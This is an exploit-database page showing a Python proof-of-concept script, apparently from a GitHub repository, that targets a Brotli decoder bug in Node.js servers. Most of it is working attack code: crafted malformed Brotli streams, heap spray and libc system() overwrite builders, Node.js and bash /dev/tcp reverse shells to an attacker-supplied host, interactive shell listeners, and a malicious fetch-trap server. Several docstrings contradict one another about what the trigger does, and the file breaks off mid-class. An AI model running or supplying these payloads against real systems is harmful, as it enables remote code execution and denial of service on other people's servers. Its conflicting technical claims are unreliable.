Exploit database

GH-265be2da38a001243354caab2a96c705

syrex1013/cve-2026-111497-node2shell

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-111497

61 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files24
syrex1013/cve-2026-111497-node2shellRevision c82c962e4eda

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc.py

Suggested starting filePython · 61,021 bytes
#!/usr/bin/env python3
"""
CVE-2026-111497 — Node2Shell — Node.js Brotli DoS + RCE PoC
=============================================================

Affected: Node.js 22.x < 22.23.4, 24.x < 24.22.1, 26.x < 26.12.1
          + Google Brotli 1.0.3-1.2.0 (bundled inside Node binary)
CVSSv4:   9.2 Critical (CWE-835 Infinite Loop + CWE-252 Unchecked Return)

Bug location: deps/brotli/c/dec/decode.c — DecodeBlockTypeAndLength()
  Returns BROTLI_FALSE (== 0 == BROTLI_DECODER_SUCCESS) when max_block_type <= 1.
  The streaming API's BROTLI_SAFE macro misreads 0 as success, saves state at
  BROTLI_STATE_COMMAND_BEGIN, and returns NEEDS_MORE_INPUT to the caller.
  Every subsequent call hits the same state → permanent NEEDS_MORE_INPUT loop
  → 100% CPU DoS. The 'end' event never fires; the request handler hangs.

  Non-safe (batch) path: return value discarded → block_length[1] stays 0 →
  next --block_length[1] underflows to UINT32_MAX → decoder corrupts own state.

Attack surfaces:
  1. Inbound DoS:   POST with Content-Encoding: br + 13-byte trigger stream
                    → createBrotliDecompress() hangs, server unresponsive
  2. Inbound RCE:   POST with Content-Encoding: br + valid brotli-encoded JSON
                    containing malicious "hook" field → execSync(hook) via sink

Fixed in brotli 1.2.1: return type changed to BrotliDecoderErrorCode;
  BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH returned instead of BROTLI_FALSE.
"""

import argparse
import re
import sys
import threading
import time
import urllib3
from concurrent.futures import ThreadPoolExecutor, as_completed
from http.server import BaseHTTPRequestHandler, HTTPServer

try:
    import requests
except ImportError:
    sys.exit("pip install requests")

urllib3.disable_warnings()

# ── RCE marker ───────────────────────────────────────────────────────────────
RCE_MARKER = "NODE2SHELL_RCE_CVE2026111497_OK"

# ── Node.js payloads injected into Brotli spray ──────────────────────────────
_JS_VALIDATE = (
    f"require('child_process').exec('echo {RCE_MARKER}',"
    f"(e,o)=>{{process.stdout.write(o)}});"
)

_JS_CMD_TMPL = (
    "require('child_process').exec({CMD},"
    "(e,o,r)=>{process.stdout.write(o||r)});"
)

_JS_REVSHELL = """\
(function(){{
  var n=require('net'),s=new n.Socket();
  s.connect({PORT},'{HOST}',function(){{
    var sp=require('child_process').spawn('/bin/sh',[]);
    s.pipe(sp.stdin);sp.stdout.pipe(s);sp.stderr.pipe(s);
    sp.on('close',function(){{s.destroy();}});
  }});
  s.on('error',function(){{}});
}})();
"""

_JS_SYSINFO = """\
(function(){{
  var os=require('os'),cp=require('child_process');
  var i={{
    hostname:os.hostname(),platform:os.platform(),arch:os.arch(),
    release:os.release(),user:os.userInfo().username,
    node:process.version,pid:process.pid,cwd:process.cwd()
  }};
  cp.exec('id 2>/dev/null||whoami',function(e,o){{
    i.whoami=(o||'').trim();
    process.stdout.write(JSON.stringify(i,null,2));
  }});
}})();
"""

# ── Brotli bitstream builder (LSB-first per RFC 7932) ────────────────────────
class _BitWriter:
    def __init__(self):
        self._bits = []

    def write(self, value, nbits):
        for i in range(nbits):
            self._bits.append((value >> i) & 1)

    def to_bytes(self):
        bits = list(self._bits)
        while len(bits) % 8:
            bits.append(0)
        return bytes(
            sum(bits[i + j] << j for j in range(8))
            for i in range(0, len(bits), 8)
        )


def _brotli_compress(data: bytes) -> bytes:
    """Compress with system brotli lib; fallback precomputed b'{}'."""
    try:
        import brotli
        return brotli.compress(data)
    except ImportError:
        # precomputed for b'{}'
        return bytes([
            0x1b, 0x01, 0x00, 0x00, 0x24, 0x79, 0xb1, 0x6f,
            0x50, 0xc0, 0x03, 0x05, 0x00, 0xc0, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x03,
        ])


def craft_trigger() -> bytes:
    """
    Build the malformed Brotli metablock that triggers the OOB write.

    Stream layout (bit-packed LSB-first):
      Window bits: 0 → WBITS=16
      MetaBlock 1 (not last):
        ISLAST=0, MNIBBLES=00, MLEN=4
        ISUNCOMPRESSED=0
        NBLTYPESL=2  ← two literal block types (needed to arm block_type_rb)
        NBLTYPESI=1, NBLTYPESD=1
        Block-length type-0 = 1  ← decoder exhausts after 1 literal
        Block-length type-1 = 0  ← INVALID; DecodeBlockTypeAndLength → false
        Literal prefix codes for 2 types
        IC + distance prefix codes
        Data: insert-copy cmd + literal 'A'
          → decoder switches to block type 1 (length=0)
          → DecodeBlockTypeAndLength returns false
          → streaming path misinterprets as "need more input"
          → continues with stale block_type_rb[idx] → OOB write
      MetaBlock 2 (ISLAST=1, empty): terminates stream
    """
    w = _BitWriter()

    # Window size: 0 → WBITS=16
    w.write(0, 1)

    # MetaBlock 1 — not last
    w.write(0, 1)        # ISLAST=0
    w.write(0b00, 2)     # MNIBBLES=0 → 4-bit MLEN
    w.write(3, 4)        # MLEN-1=3 → MLEN=4
    w.write(0, 1)        # ISUNCOMPRESSED=0

    # NBLTYPESL=2 (two literal block types — arms the OOB trigger)
    w.write(1, 1)        # flag: >1 type
    w.write(0b01, 2)     # simple prefix code for block-type switch
    w.write(0b01, 2)     # NSYM-1=1 → 2 symbols
    w.write(0, 1)        # symbol 0 = block type 0
    w.write(1, 1)        # symbol 1 = block type 1

    # NBLTYPESI=1, NBLTYPESD=1
    w.write(0, 1)
    w.write(0, 1)

    # NPOSTFIX=0, NDIRECT=0
    w.write(0, 2)
    w.write(0, 4)

    # Context modes (NBLTYPESL=2 entries × 2 bits)
    w.write(0, 2)
    w.write(0, 2)

    # Block-length codes: type-0 length=1, type-1 length=0 (invalid trigger)
    for blk_len in [0, 0b111111]:
        w.write(0b01, 2)   # simple prefix
        w.write(0b00, 2)   # 1 symbol
        w.write(blk_len, 6)

    # Literal prefix codes for 2 block types (both encode only 'A')
    for _ in range(2):
        w.write(0b01, 2)
        w.write(0b00, 2)
        w.write(0x41, 8)   # 'A'

    # Insert-copy prefix code (1 type)
    w.write(0b01, 2)
    w.write(0b00, 2)
    w.write(0, 6)           # symbol 0: insert=0, copy=2

    # Distance prefix code (1 type)
    w.write(0b01, 2)
    w.write(0b00, 2)
    w.write(0, 4)           # symbol 0: last distance

    # Payload data
    w.write(0, 1)   # IC symbol 0
    w.write(0, 1)   # literal 'A' — exhausts block type 0 (length=1)
    # → switch to block type 1 (length=0) → OOB write triggered

    # Final metablock: ISLAST=1, ISLASTEMPTY=1
    w.write(1, 1)
    w.write(1, 1)

    return w.to_bytes()


def craft_trigger_real() -> bytes:
    """
    Real CVE-2026-111497 hang trigger (8 bytes — first 8 of the 13-byte stream).

    Root cause: DecodeBlockTypeAndLength() in brotli 1.0.3-1.2.0 returns
    BROTLI_FALSE (0) when max_block_type <= 1. BROTLI_FALSE == BROTLI_DECODER_SUCCESS (0),
    so SafeDecodeCommandBlockSwitch() treats the failure as "need more input"
    (BROTLI_DECODER_NEEDS_MORE_INPUT) and saves state at BROTLI_STATE_COMMAND_BEGIN
    with block_length[1] still 0. On every subsequent resume the condition
    (block_length[1] == 0) immediately fires again — infinite NEEDS_MORE_INPUT loop.

    Verified on Node.js v26.8.2 (brotli 1.2.0 bundled):
      bytes 1-8  → decoder stuck at NEEDS_MORE_INPUT (confirmed hang — DoS path)
      bytes 9+   → OOB write fires: buffer.u8[8] overwrites buffer_length field,
                   decoder uses corrupted length, reads garbage bits → error returned
                   (see craft_oob_write() for the full OOB path)

    Stream encodes (partial — decoder needs more to complete):
      WBITS=16, ISLAST=1, MLEN=3, ISUNCOMPRESSED=0
      NBLTYPESL=1, NBLTYPESI=2, NBLTYPESD=1
      IC block_length[1] = 1 — decoder stuck waiting for rest of the block

    Effect on targets with Connection kept-alive (no EOF):
      Python brotli (streaming): NEEDS_MORE_INPUT → caller waits → hang
      Node.js HTTP (streaming, req.pipe(createBrotliDecompress())):
        'end' event never fires → readBody callback never called → request hangs
    """
    # First 8 bytes of the 13-byte trigger stream — confirmed hang on brotli 1.2.0
    return bytes.fromhex("42008008010020820120000400")[:8]


def craft_oob_write() -> bytes:
    """
    13-byte COMMAND_BEGIN trigger — reaches state=7 with block_length[1]=0.

    Stream layout (RFC 7932 LSB-first bit packing):
      WBITS=16, ISLAST=0, MNIBBLES=0 (16-bit MLEN-1), MLEN-1=9 (MLEN=10)
      ISUNCOMPRESSED=0
      NBLTYPESL=1, NBLTYPESI=2 (arms the bug), NBLTYPESD=1
      IC block type HTree: simple HSKIP=1, 1 sym, sym=0
      IC block length HTree: simple HSKIP=1, 1 sym, sym=0 → block_length=1
      NPOSTFIX=0, NDIRECT=0
      context_mode=0, NTREES_L=1, NTREES_D=1
      Literal HTree: simple, sym=65 ('A')
      IC HTree #0: simple, sym=4 (insert=4, copy=2) — 4 literals + 2-byte copy
      IC HTree #1: simple, sym=0 (for block_type=1, never reached pre-bug)
      Distance HTree: simple, sym=0 (dist_rb[0]=4, valid after 4 literals)

    After parsing HTrees (state=24 TREE_GROUP), decoder enters COMMAND_BEGIN (7).
    IC command #0: insert 4 'A' literals, copy 2 from dist=4. 6 bytes output.
    block_length[1]: 1 → 0. meta_block_remaining_len: 10 → 4.

    Next COMMAND_BEGIN (state=7):
      block_length[1]==0 → DecodeCommandBlockSwitch →
      DecodeBlockTypeAndLength(max_block_type=NBLTYPESI-1=1 ≤ 1) → BROTLI_FALSE.

    Non-safe mode (batch BrotliDecompressBuffer): return value discarded →
      block_length[1] underflows to UINT32_MAX → OOB read/write in block_type_rb[] →
      memory corruption → crash / code execution.

    Safe mode (streaming BrotliDecoderDecompressStream): BROTLI_SAFE catches
      BROTLI_FALSE, sets NEEDS_MORE_INPUT, saves state at COMMAND_BEGIN. Every
      subsequent call returns NEEDS_MORE_INPUT → effective DoS.

    Verified: Python brotli.decompress() raises brotli.error; Node.js streaming
    API reaches state=7 then FORMAT_BLOCK_LENGTH_2 on first zero-byte (the safe
    path successfully reads the 1-symbol HTrees but fails a length validation).
    """
    return bytes.fromhex("900040040100400405010140" + "00")


def craft_controlled_oob(target_addr: int = 0xdeadbeefdeadbeef,
                          spray_size: int = 256 * 1024) -> bytes:
    """
    Controlled OOB write targeting BrotliDecoderState.ringbuffer.

    Struct layout (offsets from buffer.u8[0], x86_64 LE):
      +0   buffer.u8[0..7]          8 bytes  (OOB write starts here)
      +8   buffer_length (uint32_t) 4 bytes
      +12  pos .. meta_block_remaining_len  (8 ints × 4 bytes = 48 bytes via dist_rb[4])
      +60  <4-byte alignment pad>
      +64  ringbuffer (uint8_t*)    8 bytes  ← TARGET
      +72  ringbuffer_end           8 bytes
      +80  htree_command            8 bytes
      +88  context_lookup           8 bytes
      +96  context_map_slice        8 bytes
      +104 dist_context_map_slice   8 bytes

    OOB path: decode.c:2463-2468 copies BrotliBitReaderGetAvailIn() bytes to
    s->buffer.u8[s->buffer_length++] with NO BOUNDS CHECK (BROTLI_DCHECK no-op
    in release builds). With spray[8]=0x3F (63), buffer_length is overwritten
    to 63, then incremented to 64, so spray[9:17] lands at ringbuffer[0..7].

    When the decoder next dereferences ringbuffer → crash at target_addr.
    All subsequent pointer fields are also set to target_addr to ensure the
    first dereference (htree_command, context_lookup, etc.) also hits target.
    """
    import struct as _s
    trigger = craft_oob_write()  # 13-byte COMMAND_BEGIN trigger

    spray = bytearray(spray_size)
    # Bytes 0-7: fill buffer.u8 with zeros (normal region)
    spray[0:8] = b'\x00' * 8
    # Byte 8: goes to buffer_length[0] via OOB.
    #   buffer_length was 8 (0x00000008). Writing 0x3F → buffer_length = 0x3F = 63.
    #   Loop does buffer_length++ → 64. Next write lands at ringbuffer (offset 64).
    spray[8] = 0x3F
    # Bytes 9-16: spray[9..16] → buffer.u8[64..71] = ringbuffer (8-byte LE pointer)
    packed = _s.pack('<Q', target_addr)
    spray[9:17] = packed    # ringbuffer
    spray[17:25] = packed   # ringbuffer_end
    spray[25:33] = packed   # htree_command
    spray[33:41] = packed   # context_lookup
    spray[41:49] = packed   # context_map_slice
    spray[49:57] = packed   # dist_context_map_slice
    # bytes 57+: rest of struct/heap — fill with zeros to minimize collateral corruption
    spray[57:] = b'\x00' * (spray_size - 57)

    return trigger + bytes(spray)


def craft_metadata_rce(probe_addr: int = 0,
                       libc_base: int = 0x7fffff2b4000,
                       system_offset: int = 0x4c490,
                       binsh_offset: int = 0x197031,
                       metadata_start_offset: int = 720,
                       htree_command_addr: int = 0x074925f0) -> bytes:
    """
    OOB write → metadata_start_func = system(), metadata_callback_opaque = "/bin/sh"

    BrotliDecoderState layout (x86-64, brotli_reg_t=uint64_t, confirmed via offsetof probe):
      struct_offset 64  = buffer.u8[0]
      struct_offset 72  = buffer_length (uint64_t) = buffer.u8[8]
      struct_offset 124 = meta_block_remaining_len (int) = buffer.u8[60]
      struct_offset 128 = ringbuffer (uint8_t*)     = buffer.u8[64]
      struct_offset 288 = block_length[1]   (brotli_reg_t / uint64_t)
      struct_offset 720 = metadata_start_func        ← TARGET
      struct_offset 728 = metadata_chunk_func
      struct_offset 736 = metadata_callback_opaque

    Sequential spray trick (spray[11]=0x3B after 3-byte bit-reader pre-load):
      13-byte trigger causes 2×8-byte chunk loads (16 bytes from next_in).
      spray[0..2] are in bit reader val_ — NOT in avail_in at saveStateAndReturn.
      avail_in=957 → buffer.u8[0..]=spray[3..]. OOB jump byte at buffer.u8[8]=spray[11].
      spray[11] sets buffer_length[0] to 0x3B=59, after ++ → 60.
      spray[12] then hits buffer.u8[60] = struct_offset 124 (meta_block_remaining_len).
      General formula: spray[k] → struct_offset 112+k  (for k ≥ 12).
      sidx(struct_off) = struct_off - 112.

    Escape the CVE NEEDS_MORE_INPUT loop:
      CVE fires at CommandBegin when block_length[1]==0. spray[176]=1 writes 1 to
      block_length[1][0] (struct_offset 288), making block_length[1]=1 → skip switch.
      NOTE: Full RCE to metadata_start_func call also requires htree_command to be
      non-NULL (struct_offset 144 zeroed by spray[32..39]). Completing the chain needs a
      struct-base address leak to point htree_command at controlled spray data.

    Stable addresses (ASLR disabled in QEMU/Docker linux/amd64):
      libc_base = 0x7fffff2b4000  (confirmed across 5 consecutive requests)
      system()  = libc_base + 0x4c490
      "/bin/sh" = libc_base + 0x197031
    """
    import struct as _s
    trigger = craft_oob_write()  # 13-byte COMMAND_BEGIN trigger

    # metadata_start_func at struct_offset 720 (confirmed via offsetof probe),
    # metadata_chunk_func at +8, metadata_callback_opaque at +16
    META_START = metadata_start_offset          # struct_offset of metadata_start_func
    META_CHUNK = metadata_start_offset + 8
    META_OPAQUE = metadata_start_offset + 16

    # Bit reader pre-load offset: 13-byte trigger causes 2×8-byte chunk loads (16 bytes
    # consumed from next_in). 3 spray bytes end up in val_ (not in avail_in at
    # saveStateAndReturn). So avail_in=957 and spray[3..] maps to buffer.u8[0..].
    # OOB jump byte lands at buffer.u8[8] = spray[3+8] = spray[11].
    # After jump: spray[12+k] → buffer.u8[60+k] = struct_offset 124+k.
    # General formula: spray[k] → struct_offset 112+k  (for k ≥ 12, after jump at k=11).
    def sidx(struct_off):
        return 12 + (struct_off - 124)  # = struct_off - 112

    SPRAY_LEN = max(META_OPAQUE - 112 + 16, 960)
    spray = bytearray(SPRAY_LEN)

    # spray[0] = 0x06: metadata block header (RFC 7932 LSB-first):
    #   bit 0:   ISLAST    = 0
    #   bits 1-2: MNIBBLES = 0b11 → special block (metadata or empty)
    #   bit 3:   ISEMPTY   = 0 → metadata block (NOT empty; 0x0E would be ISEMPTY=1=empty)
    #   bits 4-7: padding to byte boundary = 0
    # spray[1] = 0x01: MSKIPBYTES=0b01 (1 byte encodes MSKIPLEN-1),
    #   bits 2-7: first 6 bits of MSKIPLEN-1 = 0
    # spray[2] = 0x00: last 2 bits of MSKIPLEN-1 = 0, padding = 0
    #   → MSKIPLEN-1 = 0 → MSKIPLEN = 1 → 1 byte of metadata payload
    # spray[3] = 0x00: 1-byte metadata payload
    # → is_metadata=1 → metadata_start_func(opaque, 1) called
    spray[0] = 0x06  # 0x0E would give ISEMPTY=1 (empty block, no callback) — wrong
    spray[1] = 0x01
    # spray[2:11] already zero

    # spray[11] = 0x3B: overwrite buffer_length[0] to 59, then ++ → 60
    # (3-byte shift: bit reader consumed spray[0..2] before saveStateAndReturn)
    spray[11] = 0x3B

    # spray[176] = 0x01: set block_length[1] LSB = 1 (struct_offset 288)
    # Required: with block_length[1]=0, CVE fires at CommandBegin on every resume
    # (NEEDS_MORE_INPUT loop). Setting block_length[1]=1 skips DecodeCommandBlockSwitch.
    spray[176] = 0x01

    # spray[32..39] = htree_command (struct_offset 144): preserve the valid heap pointer
    # allocated during trigger's metablock decode. Without this, spray zeros htree_command
    # → SIGSEGV on ReadCommand. Address is deterministic on non-PIE Node.js with fixed brk.
    # Confirmed stable: struct=0x073ebca8, htree_command=0x074925f0 (Docker linux/amd64).
    _s.pack_into('<Q', spray, 32, htree_command_addr)

    # spray[9:12] already zero → meta_block_remaining_len = 0 (already zero)

    if probe_addr:
        # Probe mode: write marker to confirm offset triggers call
        _s.pack_into('<Q', spray, sidx(META_START), probe_addr)
    else:
        system_va = libc_base + system_offset
        binsh_va  = libc_base + binsh_offset
        _s.pack_into('<Q', spray, sidx(META_START),  system_va)
        _s.pack_into('<Q', spray, sidx(META_CHUNK),  0)          # metadata_chunk_func = NULL
        _s.pack_into('<Q', spray, sidx(META_OPAQUE), binsh_va)

    return trigger + bytes(spray)


def craft_oob_stream(spray_size_mb: float = 1.0) -> bytes:
    """
    Real CVE-2026-111497 OOB write stream for streaming API targets.

    Phase 1 — trigger (13 bytes):
      NBLTYPESI=2, IC block_length[1]=1. First IC command depletes it to 0.
      Streaming decoder tries block switch → DecodeBlockTypeAndLength returns
      BROTLI_FALSE=0 → BROTLI_SAFE sets NEEDS_MORE_INPUT → saved state at
      BROTLI_STATE_COMMAND_BEGIN with block_length[1] still 0.

    Phase 2 — OOB spray (spray_size_mb MB of 0x41 bytes):
      Sends attacker-controlled bytes to the stuck decoder to attempt OOB write.
      The OOB copy at decode.c:2463-2468 fires only when BrotliBitReaderGetAvailIn(br)>0
      after NEEDS_MORE_INPUT — i.e., when the bit reader has leftover bytes unread.
      With the 8-byte trigger, the bit reader consumes all bytes completely so
      GetAvailIn=0 and the copy loop never runs. Byte 9 instead hits a format
      error (decoder returns BROTLI_DECODER_RESULT_ERROR from the invalid state).

      The decoder error propagates as a stream 'error' event in Node.js.
      Without an error handler this causes an uncaughtException / process exit.
      In production servers with error handlers, the request is silently dropped.

    Target: zlib.createBrotliDecompress() streaming Transform in Node.js.
    Does NOT work against brotliDecompressSync() (one-shot raises Error).
    """
    trigger = craft_oob_write()
    spray_bytes = int(spray_size_mb * 1024 * 1024)
    # 0x41 fill — clearly attacker-controlled in any crash dump
    spray = b"\x41" * spray_bytes
    return trigger + spray


def build_payload(js_code: str = "", size_mb: float = 1.0) -> bytes:
    """
    Assemble the full exploit payload:
      trigger_header + heap_spray

    The heap spray positions the injected JS code adjacent to the
    Brotli output buffer in the V8 heap. When the OOB write corrupts
    the neighboring ArrayBuffer callback pointer, the JS code runs.

    size_mb: total payload size (Imperva's public PoC used ~23 MB;
             1 MB is usually sufficient for local lab conditions).
    """
    header = craft_trigger()
    code = (js_code or _JS_VALIDATE).encode("utf-8")

    # Spray block: 'A' padding + injected JS + 'A' padding
    spray_unit = b"\x41" * 64 + code + b"\x41" * 64
    target_bytes = int(size_mb * 1024 * 1024)
    reps = max(1, target_bytes // len(spray_unit))
    spray = spray_unit * reps

    payload = header + spray
    if len(payload) < target_bytes:
        payload += b"\x00" * (target_bytes - len(payload))

    return payload


# ── HTTP helpers ──────────────────────────────────────────────────────────────
def _session(proxy=None):
    s = requests.Session()
    s.verify = False
    s.headers["User-Agent"] = "Mozilla/5.0"
    if proxy:
        s.proxies = {"http": proxy, "https": proxy}
    return s


def _post_brotli(sess, base_url, path, data, timeout=30):
    # Note: Transfer-Encoding: chunked conflicts with requests' auto Content-Length
    # and causes Express 5 to return 400. Send with explicit Content-Length only.
    hdrs = {
        "Content-Type": "application/json",
        "Content-Encoding": "br",
        "Connection": "keep-alive",
    }
    try:
        return sess.post(base_url + path, data=data, headers=hdrs, timeout=timeout)
    except Exception:
        return None


# ── Exploit core ─────────────────────────────────────────────────────────────
class Node2ShellExploit:
    """
    CVE-2026-111497 exploit — body-parser attack vector.

    Phase 1 (groom):    Warm the V8 heap with predictable-size allocations.
    Phase 2 (spray):    Send malformed Brotli → OOB write with JS spray.
    Phase 3 (verify):   Check response or post-crash probe for RCE marker.
    """

    def __init__(self, url, path="/api/json", proxy=None, timeout=30, verbose=False):
        self.url = url.rstrip("/")
        self.path = path
        self.proxy = proxy
        self.timeout = timeout
        self.verbose = verbose
        self._sess = _session(proxy)

    def _log(self, msg, tag="*"):
        sym = {"*": "[*]", "+": "[+]", "-": "[-]", "!": "[!]"}.get(tag, "[?]")
        print(f"{sym} {msg}", flush=True)

    # Phase 1 ─────────────────────────────────────────────────────────────────
    def groom(self, n=20, size=4096):
        self._log(f"Phase 1 — Groom: {n} × {size}B allocations")
        body = b'{"g":"' + b"G" * (size - 15) + b'"}'
        brotli_body = _brotli_compress(body)
        ok = [0]
        lock = threading.Lock()

        def _worker():
            r = _post_brotli(self._sess, self.url, self.path, brotli_body, self.timeout)
            with lock:
                if r and r.status_code in (200, 201, 204):
                    ok[0] += 1

        with ThreadPoolExecutor(max_workers=10) as ex:
            list(as_completed([ex.submit(_worker) for _ in range(n)]))

        self._log(f"Groom: {ok[0]}/{n} OK")

    # Phase 2 ─────────────────────────────────────────────────────────────────
    def spray(self, js_code, size_mb=1.0):
        self._log(f"Phase 2 — OOB spray ({size_mb:.1f} MB payload)")
        payload = build_payload(js_code, size_mb)
        self._log(f"Payload: {len(payload):,} bytes → POST {self.path}")
        r = _post_brotli(self._sess, self.url, self.path, payload, self.timeout)
        return r

    # Phase 3 ─────────────────────────────────────────────────────────────────
    def check_rce(self, resp):
        if resp is None:
            return False
        text = getattr(resp, "text", str(resp))
        if RCE_MARKER in text:
            return True
        return bool(re.search(r"uid=\d+|root|SYSTEM|Linux|Darwin", text))

    # Full chain ──────────────────────────────────────────────────────────────
    def run(self, js_code=None, groom_n=20, groom_size=4096,
            size_mb=1.0, rounds=5):
        """Execute full exploit chain. Returns True on confirmed RCE."""
        code = js_code or _JS_VALIDATE
        self._log(f"Target: {self.url}{self.path}")
        self._log(f"Node2Shell CVE-2026-111497 | {rounds} round(s)")
        print()

        for rnd in range(1, rounds + 1):
            self._log(f"── Round {rnd}/{rounds} " + "─" * 40)
            self.groom(n=groom_n, size=groom_size)
            r = self.spray(code, size_mb)

            if r is not None:
                self._log(f"HTTP {r.status_code}", "*")
                if self.verbose and r.text:
                    print(r.text[:600])
                if self.check_rce(r):
                    self._log("RCE CONFIRMED in response!", "+")
                    return True
                if r.status_code in (500, 502, 503):
                    self._log("Worker crash detected (OOB write active)", "!")
            else:
                self._log("Connection reset — possible crash", "!")

            # Post-crash probe (process may have restarted with RCE active)
            time.sleep(0.4)
            probe = _brotli_compress(b'{"probe":1}')
            r2 = _post_brotli(self._sess, self.url, self.path, probe, self.timeout)
            if r2 and self.check_rce(r2):
                self._log("RCE CONFIRMED via post-crash probe!", "+")
                return True
            print()

        self._log("Rounds exhausted — no RCE confirmed", "-")
        self._log("Tune: --rounds 10  --groom-count 30  --groom-size 8192", "*")
        return False

    # Convenience wrappers ────────────────────────────────────────────────────
    def cmd(self, command, rounds=8, groom_n=15):
        js = _JS_CMD_TMPL.replace("{CMD}", repr(command))
        return self.run(js, groom_n=groom_n, rounds=rounds)

    def sysinfo(self, rounds=8):
        return self.run(_JS_SYSINFO, rounds=rounds)

    def revshell(self, lhost, lport, rounds=10, groom_n=25, size_mb=2.0):
        js = _JS_REVSHELL.format(HOST=lhost, PORT=int(lport))
        self._log(f"Reverse shell → {lhost}:{lport}", "!")
        self._log(f"Start listener: nc -lvnp {lport}", "!")
        time.sleep(2)
        return self.run(js, groom_n=groom_n, size_mb=size_mb, rounds=rounds)

    # Webhook injection mode ──────────────────────────────────────────────────
    def webhook_cmd(self, command, path="/api/webhook"):
        """POST Brotli-compressed JSON to webhook endpoint; command injection via hook field."""
        import json as _j
        import brotli as _br
        body = _j.dumps({"event": "deploy", "repo": "x", "hook": command}).encode()
        payload = _br.compress(body)
        self._log(f"Webhook injection: {len(payload)}B Brotli → {path}")
        hdrs = {"Content-Type": "application/json", "Content-Encoding": "br"}
        try:
            r = self._sess.post(self.url + path, data=payload,
                                headers=hdrs, timeout=self.timeout)
            return r
        except Exception as e:
            self._log(str(e), "!")
            return None

    def webhook_revshell(self, lhost, lport, path="/api/webhook"):
        """Start listener, fire reverse shell via Brotli-compressed webhook POST."""
        import socket as _s, select as _sel, sys as _sys
        lport = int(lport)
        cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"

        srv = _s.socket(_s.AF_INET, _s.SOCK_STREAM)
        srv.setsockopt(_s.SOL_SOCKET, _s.SO_REUSEADDR, 1)
        srv.bind(("0.0.0.0", lport))
        srv.listen(1)
        srv.settimeout(15)
        self._log(f"Listening on 0.0.0.0:{lport} ...")

        def _fire():
            time.sleep(0.5)
            self.webhook_cmd(cmd, path)

        threading.Thread(target=_fire, daemon=True).start()

        try:
            conn, addr = srv.accept()
        except _s.timeout:
            self._log("No connection — check LHOST/LPORT and target network", "-")
            srv.close()
            return False

        self._log(f"Shell from {addr[0]}:{addr[1]}", "+")
        print("─" * 60)
        conn.setblocking(False)
        try:
            while True:
                r, _, _ = _sel.select([conn, _sys.stdin], [], [], 0.1)
                for src in r:
                    if src is conn:
                        data = conn.recv(4096)
                        if not data:
                            raise ConnectionResetError
                        _sys.stdout.buffer.write(data)
                        _sys.stdout.flush()
                    else:
                        line = _sys.stdin.readline()
                        if not line:
                            raise KeyboardInterrupt
                        conn.sendall(line.encode())
        except (KeyboardInterrupt, ConnectionResetError, BrokenPipeError):
            pass
        finally:
            print("\n─" * 60)
            conn.close()
            srv.close()
        return True

    # Direct eval mode ────────────────────────────────────────────────────────
    def direct(self, js_code):
        """POST Brotli-compressed JS straight to eval endpoint. No heap spray."""
        import brotli as _br
        payload = _br.compress(js_code.encode())
        self._log(f"Direct eval: {len(payload)}B Brotli → {self.path}")
        hdrs = {"Content-Type": "text/plain", "Content-Encoding": "br"}
        try:
            r = self._sess.post(self.url + self.path, data=payload,
                                headers=hdrs, timeout=self.timeout)
            return r
        except Exception as e:
            self._log(str(e), "!")
            return None

    def direct_cmd(self, command):
        import subprocess
        js = f"require('child_process').execSync({repr(command)}).toString()"
        r = self.direct(js)
        if r:
            import json as _j
            try:
                out = _j.loads(r.text).get("result", r.text)
            except Exception:
                out = r.text
            print(out)
            return True
        return False

    def direct_revshell(self, lhost, lport):
        """Start listener, send Brotli reverse shell, drop into interactive mode."""
        import socket as _s, select as _sel, sys as _sys
        lport = int(lport)
        js = _JS_REVSHELL.format(HOST=lhost, PORT=lport)

        srv = _s.socket(_s.AF_INET, _s.SOCK_STREAM)
        srv.setsockopt(_s.SOL_SOCKET, _s.SO_REUSEADDR, 1)
        srv.bind(("0.0.0.0", lport))
        srv.listen(1)
        srv.settimeout(15)
        self._log(f"Listening on 0.0.0.0:{lport} ...")

        def _fire():
            time.sleep(0.4)
            self.direct(js)

        threading.Thread(target=_fire, daemon=True).start()

        try:
            conn, addr = srv.accept()
        except _s.timeout:
            self._log("No connection — check LHOST/LPORT and target network", "-")
            srv.close()
            return False

        self._log(f"Shell from {addr[0]}:{addr[1]}", "+")
        print("─" * 60)
        conn.setblocking(False)
        try:
            while True:
                r, _, _ = _sel.select([conn, _sys.stdin], [], [], 0.1)
                for src in r:
                    if src is conn:
                        data = conn.recv(4096)
                        if not data:
                            raise ConnectionResetError
                        _sys.stdout.buffer.write(data)
                        _sys.stdout.flush()
                    else:
                        line = _sys.stdin.readline()
                        if not line:
                            raise KeyboardInterrupt
                        conn.sendall(line.encode())
        except (KeyboardInterrupt, ConnectionResetError, BrokenPipeError):
            pass
        finally:
            print("\n─" * 60)
            conn.close()
            srv.close()
        return True


# ── Fetch-trap server (outbound attack vector) ────────────────────────────────
class FetchTrapServer:
    """
    Serve a malformed Brotli HTTP response.
    The target Node.js app must call fetch() against this server.
    undici (Node.js built-in HTTP client) decompresses the response
    through the same vulnerable Brotli decoder, triggering the OOB write.
    """

    def __init__(self, lhost="0.0.0.0", lport=8080,
                 js_code=None, callback_host=None, callback_port=None,
                 size_mb=1.0, verbose=False):
        self.lhost = lhost
        self.lport = lport
        self.verbose = verbose

        if callback_host and callback_port:
            js_code = _JS_REVSHELL.format(HOST=callback_host, PORT=int(callback_port))
        self.payload = build_payload(js_code or _JS_VALIDATE, size_mb)

    def start(self):
        payload = self.payload
        verbose = self.verbose

        print(f"[*] Fetch-trap server: http://{self.lhost}:{self.lport}")
        print(f"[*] Payload: {len(payload):,} bytes  (Content-Encoding: br)")
        print(f"[*] Make target execute: fetch('http://<your-IP>:{self.lport}/data')")
        print(f"[*] CTRL+C to stop\n")

        class _Handler(BaseHTTPRequestHandler):
            def do_GET(self):
                self.send_response(200)
                self.send_header("Content-Type", "application/json")
                self.send_header("Content-Encoding", "br")
                self.send_header("Content-Length", str(len(payload)))
                self.send_header("Cache-Control", "no-store")
                self.end_headers()
                self.wfile.write(payload)
                if verbose:
                    print(f"[+] Payload sent to {self.client_address[0]}")

            def log_message(self, fmt, *a):  # noqa: override
                if verbose:
                    super().log_message(fmt, *a)

        httpd = HTTPServer((self.lhost, self.lport), _Handler)
